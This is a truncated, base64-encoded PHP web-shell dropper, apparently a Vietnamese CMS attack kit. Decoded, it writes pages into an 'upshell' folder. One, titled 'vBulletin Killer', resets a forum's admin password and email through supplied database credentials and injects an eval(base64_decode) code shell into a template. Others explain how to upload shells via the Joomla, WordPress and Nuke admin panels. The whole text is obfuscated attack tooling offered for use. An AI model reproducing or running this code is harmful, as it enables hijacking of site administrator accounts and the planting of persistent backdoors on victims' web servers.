ogMHB4Ow0KYm9yZGVyLWJvdHRvbTogMXB4Ow0KfQ0KLnN0eWxlNCB7Y29sb3I6ICNGRkZGRkY7IH0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjw/cGhwDQplY2hvICI8Q0VOVEVSPg0KICA8dGFibGUgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItY29sb3I6ICNDMEMwQzA7IHBhZGRpbmctbGVmdDogNDsgcGFkZGluZy1yaWdodDogNDsgcGFkZGluZy10b3A6IDE7IHBhZGRpbmctYm90dG9tOiAxJyBib3JkZXJjb2xvcj0nIzExMTExMScgd2lkdGg9Jzg2JScgYmdjb2xvcj0nI0UwRTBFMCc+DQogICAgPHRyPg0KICAgICAgPHRkIGJnY29sb3I9JyMwMDAwZmYnIGNsYXNzPSd0ZCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4gSGF5IGNob24gbWEgbmd1b248L2Rpdj48L3RkPg0KICAgICAgPHRkIGJnY29sb3I9JyMwMDAwZmYnIGNsYXNzPSd0ZCcgc3R5bGU9J3BhZGRpbmc6MHB4IDBweCAwcHggNXB4Jz48ZGl2IGFsaWduPSdjZW50ZXInIGNsYXNzPSdzdHlsZTQnPg0KICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4NCiAgICAgICAgPC9kaXY+DQogICAgICA8L2Rpdj48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScyODAnIHN0eWxlPSdwYWRkaW5nOjIwcHggMjBweCAyMHB4IDIwcHggJz4iOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd2YmInXSkpDQp7DQogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsNCiAgICBjaGRpcigndXBzaGVsbCcpOw0KJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crQ2p4MGFYUnNaVDUyUW5Wc2JHVjBhVzRnUzJsc2JHVnlQQzkwYVhSc1pUNEtQR05sYm5SbGNqNEtQR1p2Y20wZ2JXVjBhRzlrUFZCUFUxUWdZV04wYVc5dVBTY25QZ284Wm05dWRDQm1ZV05sUFNkQmNtbGhiQ2NnWTI5c2IzSTlKeU13TURBd01EQW5QazE1YzNGc0lFaHZjM1E4TDJadmJuUStQR0p5UGp4cGJuQjFkQ0IyWVd4MVpUMXNiMk5oYkdodmMzUWdkSGx3WlQxMFpYaDBJRzVoYldVOWFHOXpkRzVoYldVZ2MybDZaVDBuTlRBbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkRHNnWTI5c2IzSTZJQ013TURBd01EQTdJR1p2Ym5RdFptRnRhV3g1T2lCVVlXaHZiV0U3SUdKdmNtUmxjam9nTVhCNElITnZiR2xrSUNNMk5qWTJOalk3SUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SUNOR1JrWkdSa1luUGp4aWNqNEtQR1p2Ym5RZ1ptRmpaVDBuUVhKcFlXd25JR052Ykc5eVBTY2pNREF3TURBd0p6NUVRaUJ1WVcxbFBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5WkdGMFlXSmhjMlVnZEhsd1pUMTBaWGgwSUc1aGJXVTlaR0p1WVcxbElITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytSRUlnZFhObGNqeGljajQ4TDJadmJuUStQR2x1Y0hWMElIWmhiSFZsUFhWelpYSWdkSGx3WlQxMFpYaDBJRzVoYldVOVpHSjFjMlZ5SUhOcGVtVTlKelV3SnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUTdJR052Ykc5eU9pQWpNREF3TURBd095Qm1iMjUwTFdaaGJXbHNlVG9nVkdGb2IyMWhPeUJpYjNKa1pYSTZJREZ3ZUNCemIyeHBaQ0FqTmpZMk5qWTJPeUJpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqUmtaR1JrWkdKejQ4WW5JK0NqeG1iMjUwSUdaaFkyVTlKMEZ5YVdGc0p5QmpiMnh2Y2owbkl6QXdNREF3TUNjK1JFSWdaR0p3WVhOelBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5Y0dGemN5QjBlWEJsUFhSbGVIUWdibUZ0WlQxa1luQmhjM01nYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1VVlXSnNaU0J3Y21WbWFYZzhZbkkrUEM5bWIyNTBQanhwYm5CMWRDQjJZV3gxWlQwbmRtSmlYeWNnZEhsd1pUMTBaWGgwSUc1aGJXVTljSEpsWm1sNElITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytWWE5sY2lCaFpHMXBianhpY2o0OEwyWnZiblErUEdsdWNIVjBJSFpoYkhWbFBYSnZiM1FnZEhsd1pUMTBaWGgwSUc1aGJXVTlkWE5sY2lCemFYcGxQU2MxTUNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBPeUJqYjJ4dmNqb2dJekF3TURBd01Ec2dabTl1ZEMxbVlXMXBiSGs2SUZSaGFHOXRZVHNnWW05eVpHVnlPaUF4Y0hnZ2MyOXNhV1FnSXpZMk5qWTJOanNnWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTBaR1JrWkdSaWMrUEdKeVBnbzhabTl1ZENCbVlXTmxQU2RCY21saGJDY2dZMjlzYjNJOUp5TXdNREF3TURBblBrNWxkeUJ3WVhOeklHRmtiV2x1UEdKeVBqd3ZabTl1ZEQ0OGFXNXdkWFFnZG1Gc2RXVTlNVEl6TkRVMklIUjVjR1U5ZEdWNGRDQnVZVzFsUFhCaGMzTWdjMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVPWlhjZ1JTMXRZV2xzSUdGa2JXbHVQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOWEzbHRiR3B1YTBCNVlXaHZieTVqYjIwZ2RIbHdaVDEwWlhoMElHNWhiV1U5WlcxaGFXd2djMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVEYjJSbElGTm9aV3hzUEdKeVBqd3ZabTl1ZEQ0OGRHVjRkR0Z5WldFZ2JtRnRaVDBpWkdGMFlTSWdZMjlzY3owaU5EQWlJSEp2ZDNNOUlqRXdJajRrYzNCaFkyVnlYMjl3Wlc0S2V5UjdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVjFsdllWaE9lbHBZVVc5S1JqbFJWREZPVlZkNVpGUmtWMG9nZEdGWVVXNVlVMnR3Wlhjd1MwbERRV2RKUTFKdFlWZDRiRnBIYkhsSlJEQm5TV2xKTjBsQk1FdEpRMEZuU1VOU2RGa2dXR2h0WVZkNGJFbEVNR2RLZWtsM1RVUkJkMDFFUVc1UGR6QkxSRkZ2WjBsRFFXZEtTRlo2V2xoS2JXRlhlR3hZTWpVZ2FHSlhWV2RRVTBGcldEQmFTbFJGVmxSWGVXUndZbGRHYmxwVFpHUlhlV1IxV1ZjeGJFb3hNRGRFVVc5blNVTkJaMG9nU0ZaNldsaEtiV0ZYZUd4WU0xSjBZME5CT1VsRFVtWlNhMnhOVWxaT1lrb3liSFJaVjJSc1NqRXhZa296VW5SalJqa2dkVmxYTVd4S01UQTNSRkZ2WjBsRFFXZGhWMWxuUzBkc2VtTXlWakJMUTFKbVVtdHNUVkpXVG1KS01teDBXVmRrYkVvZ01URmlTakkxYUdKWFZXNVlVMnR3U1VoelRrTnBRV2RKUTBGblNVTkJaMHBIUm1saU1sRm5VRk5CYTFwdGJITmFWMUlnY0dOcE5HdGtXRTVzWTIxYWNHSkhWbVppYlVaMFdsUnpUa05wUVdkSlEwRm5TVU5CWjFGSE1YWmtiVlptWkZoQ2MySWdNa1pyV2xkU1pscHRiSE5hVTJkclpGaE9iR050V25CaVIxWm1aRWN4ZDB4RFFXdFpWMHAyV2tOck4wUlJiMmRKUVRBZ1MxcFhUbTlpZVVrNFdUSldkV1JIVm5sUWFuaHBVR3RTZG1KdFZXZFFWREFyU1VOU01XTXlWbmxhYld4eldsWTVkVmtnVnpGc1VFTTVhVkJxZDNaWk1sWjFaRWRXZVZCcFNUZEVVWEE1UkZGd09VUlJjR3hpU0U1c1pYY3dTMXBYVG05aWVXTWdUa05xZUcxaU0wcDBTVWN4YkdSSGFIWmFSREJwVlVVNVZGWkRTV2RaVjA0d1lWYzVkVkJUU1dsSlIxWjFXVE5TTldNZ1IxVTVTVzB4TVdKSVVuQmpSMFo1WkVNNWJXSXpTblJNVjFKb1pFZEZhVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFVMG9nYldGWGVHeEphVUoxV1ZjeGJGQlRTbkJpVjBadVdsTkpLMUJIYkhWalNGWXdTVWhTTldOSFZUbEpiRTR4V1cweGNHUWdRMGxuWW0xR2RGcFVNR2xWTTFacFlsZHNNRWxwUWpKWlYzZ3hXbFF3YVZVelZtbGlWMnd3U1dvME9Fd3lXblpqYlRBZ0swcDZjMDVEYmpBOUlpa3BmWDE3Skh0bGVHbDBLQ2w5ZlNZS0pGOXdhSEJwYm1Oc2RXUmxYMjkxZEhCMWREd3ZkR1Y0ZEdGeVpXRStQR0p5UGdvOGFXNXdkWFFnZEhsd1pUMXpkV0p0YVhRZ2RtRnNkV1U5SjBOb1lXNW5aU2NnUGp4aWNqNEtQQzltYjNKdFBqd3ZZMlZ1ZEdWeVBnbzhMMmgwYld3K0Nqdy9DbVZ5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLSkdodmMzUnVZVzFsSUQwZ0pGOVFUMU5VV3lkb2IzTjBibUZ0WlNkZE93b2taR0p1WVcxbElEMGdKRjlRVDFOVVd5ZGtZbTVoYldVblhUc0tKR1JpZFhObGNpQTlJQ1JmVUU5VFZGc25aR0oxYzJWeUoxMDdDaVJrWW5CaGMzTWdQU0FrWDFCUFUxUmJKMlJpY0dGemN5ZGRPd29rZFhObGNqMXpkSEpmY21Wd2JHRmpaU2dpWENjaUxDSW5JaXdrZFhObGNpazdDaVJ6WlhSZmRYTmxjaUE5SUNSZlVFOVRWRnNuZFhObGNpZGRPd29rY0dGemN6MXpkSEpmY21Wd2JHRmpaU2dpWENjaUxDSW5JaXdrY0dGemN5azdDaVJ6WlhSZmNHRnpjeUE5SUNSZlVFOVRWRnNuY0dGemN5ZGRPd29rWlcxaGFXdzljM1J5WDNKbGNHeGhZMlVvSWx3bklpd2lKeUlzSkdWdFlXbHNLVHNLSkhObGRGOWxiV0ZwYkNBOUlDUmZVRTlUVkZzblpXMWhhV3duWFRzS0pIWmlYM0J5WldacGVDQTlJQ1JmVUU5VFZGc25jSEpsWm1sNEoxMDdDaVJrWVhSaElEMGdKRjlRVDFOVVd5ZGtZWFJoSjEwN0NpUnpaWFJmWkdGMFlTQXVQU0FvSWlSa1lYUmhJaWs3Q2lSMFlXSnNaVjl1WVcxbElEMGdKSFppWDNCeVpXWnBlQzRpZFhObGNpSTdDaVIwWVdKc1pWOXVZVzFsTWlBOUlDUjJZbDl3Y21WbWFYZ3VJblJsYlhCc1lYUmxJanNLQ2tCdGVYTnhiRjlqYjI1dVpXTjBLQ1JvYjNOMGJtRnRaU3drWkdKMWMyVnlMQ1JrWW5CaGMzTXBPd3BBYlhsemNXeGZjMlZzWldOMFgyUmlLQ1JrWW01aGJXVXBPd29LSkhGMVpYSjVJRDBnSjNObGJHVmpkQ0FxSUdaeWIyMGdKeUF1SUNSMFlXSnNaVjl1WVcxbElDNGdKeUIzYUdWeVpTQjFjMlZ5Ym1GdFpUMGlKeUF1SUNSelpYUmZkWE5sY2lBdUlDY2lPeWM3Q2lSeVpYTjFiSFFnUFNCdGVYTnhiRjl4ZFdWeWVTZ2tjWFZsY25rcE93b2tjbTkzSUQwZ2JYbHpjV3hmWm1WMFkyaGZZWEp5WVhrb0pISmxjM1ZzZENrN0NpUnpZV3gwSUQwZ0pISnZkMXNuYzJGc2RDZGRPd29rY0dGemN6RWdQU0J0WkRVb0pITmxkRjl3WVhOektUc0tKSEJoYzNNeUlEMGdiV1ExS0NSd1lYTnpNU0F1SUNSellXeDBLVHNLQ2lSeGRXVnljbmt4SUQwZ0oxVlFSRUZVUlNBbklDNGdKSFJoWW14bFgyNWhiV1VnTGlBbklGTkZWQ0J3WVhOemQyOXlaRDBpSnlBdUlDUndZWE56TWlBdUlDY2lJRmRJUlZKRklIVnpaWEp1WVcxbFBTSW5JQzRnSkhObGRGOTFjMlZ5SUM0Z0p5STdKenNLSkhGMVpYSnllVElnUFNBblZWQkVRVlJGSUNjZ0xpQWtkR0ZpYkdWZmJtRnRaU0F1SUNjZ1UwVlVJR1Z0WVdsc1BTSW5JQzRnSkhObGRGOWxiV0ZwYkNBdUlDY2lJRmRJUlZKRklIVnpaWEp1WVcxbFBTSW5JQzRnSkhObGRGOTFjMlZ5SUM0Z0p5STdKenNLSkhGMVpYSnllVE1nUFNBblZWQkVRVlJGSUNjZ0xpQWtkR0ZpYkdWZmJtRnRaVElnTGlBbklGTkZWQ0IwWlcxd2JHRjBaU0E5SWljZ0xpQWtjMlYwWDJSaGRHRWdMaUFuSWlCWFNFVlNSU0IwYVhSc1pTQTlJQ0ptWVhFaU95YzdDZ29rYjJzeFBVQnRlWE54YkY5eGRXVnllU2drY1hWbGNuSjVNU2s3Q2lSdmF6RTlRRzE1YzNGc1gzRjFaWEo1S0NSeGRXVnljbmt5S1RzS0pHOXJNVDFBYlhsemNXeGZjWFZsY25rb0pIRjFaWEp5ZVRNcE93b0thV1lvSkc5ck1TbDdDbVZqYUc4Z0lqeHpZM0pwY0hRK1lXeGxjblFvSjNaQ2RXeHNaWFJwYmlCcGJtWnZJR05vWVc1blpXUWdZVzVrSUZOb1pXeHNJR0YyWVdsc1lXSnNaU0JwY3lCbVlYRXVjR2h3SURvcEp5azdQQzl6WTNKcGNIUStJanNLZlFvL1BpQT0NCic7DQoNCiRmaWxlID0gZm9wZW4oInZiYi5waHAiICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJiYi5waHAiLDA3NTUpOw0KICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC92YmIucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCn0NCg0KaWYgKGlzc2V0KCRfUE9TVFsnamwnXSkpDQp7DQogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsNCiAgICBjaGRpcigndXBzaGVsbCcpOw0KJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQR0krUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqNDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJR0pzZFdVN0lqNUR3NkZqYUNBeElEb2dQQzl6Y0dGdVBqeGljaUF2UGdwZlRHOWhaQ0F2WVdSdGFXNXBjM1J5WVhSdmNpQW1aM1E3SUVkc2IySmhiQ0JEYjI1bWFXZDFjbUYwYVc5dUlDWm5kRHNnVTNsemRHVnliU0FtWjNRN0lFMWxaR2xoSUZObGRIUnBibWNnSm1kME95QjBhTU9xYlNERWtlRzdpMjVvSUdUaHVxRnVaeUE4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUhKbFpEc2lQaTV3YUhBOEwzTndZVzQrUEdKeUlDOCtDbDlUWVhVZ3hKSERzeUIydzZCdklFMWxaR2xoSUUxaGJtRm5aWElnZFhBZ1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo1emFHVnNiQzV3YUhBOEwzTndZVzQrUEdKeUlDOCtDbDlEYU9HNm9Ya2djMmhsYkd3NklEeGhJR2h5WldZOUltaDBkSEE2THk5MmFXTjBhVzB2YVcxaFoyVnpMM05vWld4c0xuQm9jQ0lnZEdGeVoyVjBQU0pmWW14aGJtc2lQbWgwZEhBNkx5OTJhV04wYVcwdmFXMWhaMlZ6TDNOb1pXeHNMbkJvY0R3dllUNG1ibUp6Y0RzOEwzTndZVzQrUEM5aVBqeGljaUF2UGdvOFluSWdMejRLUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCaWJIVmxPeUkrUEdJK1BITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajVEdzZGamFDQThjM0JoYmlCemRIbHNaVDBpWm05dWRDMXphWHBsT2lCc1lYSm5aVHNpUGpJOEwzTndZVzQrSURwRlpHbDBJSFJsYlhBOGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPaUJzWVhKblpUc2lQbXhsUEM5emNHRnVQaUJLYjIxc1lTWnVZbk53T3p3dmMzQmhiajQ4TDJJK1BDOXpjR0Z1UGp4aWNpQXZQZ284WWo0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPaUJzWVhKblpUc2lQa05vdzdwdVp5QjBZU0IydzZCdklIQm80YnFuYmlCMFpXMXdiR0YwWlNBZ0ptZDBPeUJsWkdsMElHUERvV2tnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajVwYm1SbGVDNXdhSEE4TDNOd1lXNCtJREVnWXp4emNHRnVJSE4wZVd4bFBTSm1iMjUwTFhOcGVtVTZJR3hoY21kbE95SSt3NkZwSUR3dmMzQmhiajUwWlcxd2JHRjBaU0JpUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqN2h1cVYwSUdzOGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPaUJzWVhKblpUc2lQc09zSUMwbVozUTdJSE5oZG1VOEwzTndZVzQrUEM5emNHRnVQand2YzNCaGJqNDhMMkkrUEdKeUlDOCtDanhpY2lBdlBnbzhZajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBqeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2SUd4aGNtZGxPeUkrUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqNWphRHh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNklHeGhjbWRsT3lJKzRicWhlU0J6YUdWc2JDQjJQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3aHU1dHBJRHh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNklHeGhjbWRsT3lJK2NHRjBhQ0IwUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqN2h1NXRwSUR4emNHRnVJSE4wZVd4bFBTSmpiMnh2Y2pvZ2NtVmtPeUkrYVc1a1pYZ3VjR2h3UEM5emNHRnVQaUE4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBzU1JQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3RHN6d3ZjM0JoYmo0OEwzTndZVzQrUEM5emNHRnVQand2YzNCaGJqNDhMM053WVc0K1BDOXpjR0Z1UGlBOEwzTndZVzQrUEM5emNHRnVQand2YzNCaGJqNDhMMkkrUEdKeUlDOCtDand2YUhSdGJEND0NCic7DQoNCiRmaWxlID0gZm9wZW4oImpsLnBocCIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsNCmZjbG9zZSgkZmlsZSk7DQogICAgY2htb2QoImJiLnBocCIsMDc1NSk7DQogICBlY2hvICI8aWZyYW1lIHNyYz11cHNoZWxsL2psLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQp9DQppZiAoaXNzZXQoJF9QT1NUWyd3cCddKSkNCnsNCiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOw0KICAgIGNoZGlyKCd1cHNoZWxsJyk7DQokY29uZmlnc2hlbGwgPSAnUEdoMGJXdytQR2hsWVdRK0NnbzhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExWUjVjR1VpSUdOdmJuUmxiblE5SW5SbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ0krQ2dvS1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK1BHSStVRXhWUjBsT1V6d3ZZajQ4TDNOd1lXNCtQR0p5SUM4K0NqeGlQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095QXJJQ0pCUkVRZ1RrVlhJRkJNVlVkSlRpSThMMkkrUEdKeUlDOCtDanhpUGladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeUFySm01aWMzQTdJQ0pWVUV4UFFVUWlJRHh6Y0dGdUlITjBlV3hsUFNKamIyeHZjam9nY21Wa095SStRems1TGxwSlVEd3ZjM0JoYmo0OEwySStQR0p5SUM4K0NqeGlQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095QXJJQzlYVUMxRFQwNVVSVTVVTDFCTVZVZEpUaTlET1RrdlBITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo1RE9Ua3VVRWhRUEM5emNHRnVQand2WWo0S1BDOW9kRzFzUGc9PQ0KJzsNCg0KJGZpbGUgPSBmb3Blbigid3AucGhwIiAsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25maWdzaGVsbCkpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPXVwc2hlbGwvd3AucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ3ZuJ10pKQ0Kew0KICAgIG1rZGlyKCd1cHNoZWxsJywgMDc1NSk7DQogICAgY2hkaXIoJ3Vwc2hlbGwnKTsNCiRjb25maWdzaGVsbCA9ICdQR2gwYld3K1BHaGxZV1ErQ2dvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSStDZ29LUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCaWJIVmxPeUkrUEdJK1RsVkxSU0F6SURvOEwySStQQzl6Y0dGdVBqeGljaUF2UGdvOFlqNDhZbklnTHo0OEwySStDanhpUGtSUFYwNU1UMEZFSURFZ1E4T0JTU0JVUlUxUVRFVWdRK0c3cGtFZ1RsVkxSU0F0Sm1kME96d3ZZajQ4WW5JZ0x6NEtQR0krTFNabmREc2dSVVJKVkNCRFQwUkZJREVnVkZKUFRrY2dROE9CUXlCR1NVeEZJTVNRdzVNZ0xTWm5kRHNnUTBqRGlFNGdQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJ5WldRN0lqNURUMFJGSUZOSVJVeE1QQzl6Y0dGdVBpQld3NEJQSm01aWMzQTdQQzlpUGp4aWNpQXZQZ284WWo0dEptZDBPeUJhU1ZBZ1RPRzZvRWs4TDJJK1BHSnlJQzgrQ2p4aVBpMG1aM1E3SUZWUUlGUkZUVkJNUlR3dllqNDhZbklnTHo0S1BHSStMU1puZERzZ1UwVlVWVkE4TDJJK1BHSnlJQzgrQ2p4aVBpMG1aM1E3SUZURGpFMGdVRUZVU0NCVFNFVk1URHd2WWo0OFluSWdMejRLUEdJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo0OFluSWdMejQ4TDNOd1lXNCtQQzlpUGdvOFluSWdMejRLUEM5b2RHMXNQZz09DQonOw0KDQokZmlsZSA9IGZvcGVuKCJ2bi5waHAiICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJiYi5waHAiLDA3NTUpOw0KICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC92bi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnYmInXSkpDQp7DQogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsNCiAgICBjaGRpcigndXBzaGVsbCcpOw0KJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQR0krUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajVSVmVHNm9rNGdUTU9kSUZWVFJWSXRKbWQwT3lBOEwzTndZVzQrUEdKeUlDOCtKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdJQ3NnSWxGVldlRzdnRTRnVk9HNm9ra2dUTU9LVGlBaVBHSnlJQzgrSm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3SUNzZ0lrTklUeUJRU01PSlVDREVrRlhEbEVrZ1RlRzduaUJTNGJ1WVRrY2dJanhpY2lBdlBpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeUFySUZSSXc0cE5JTVNRNGJ1S1RrZ2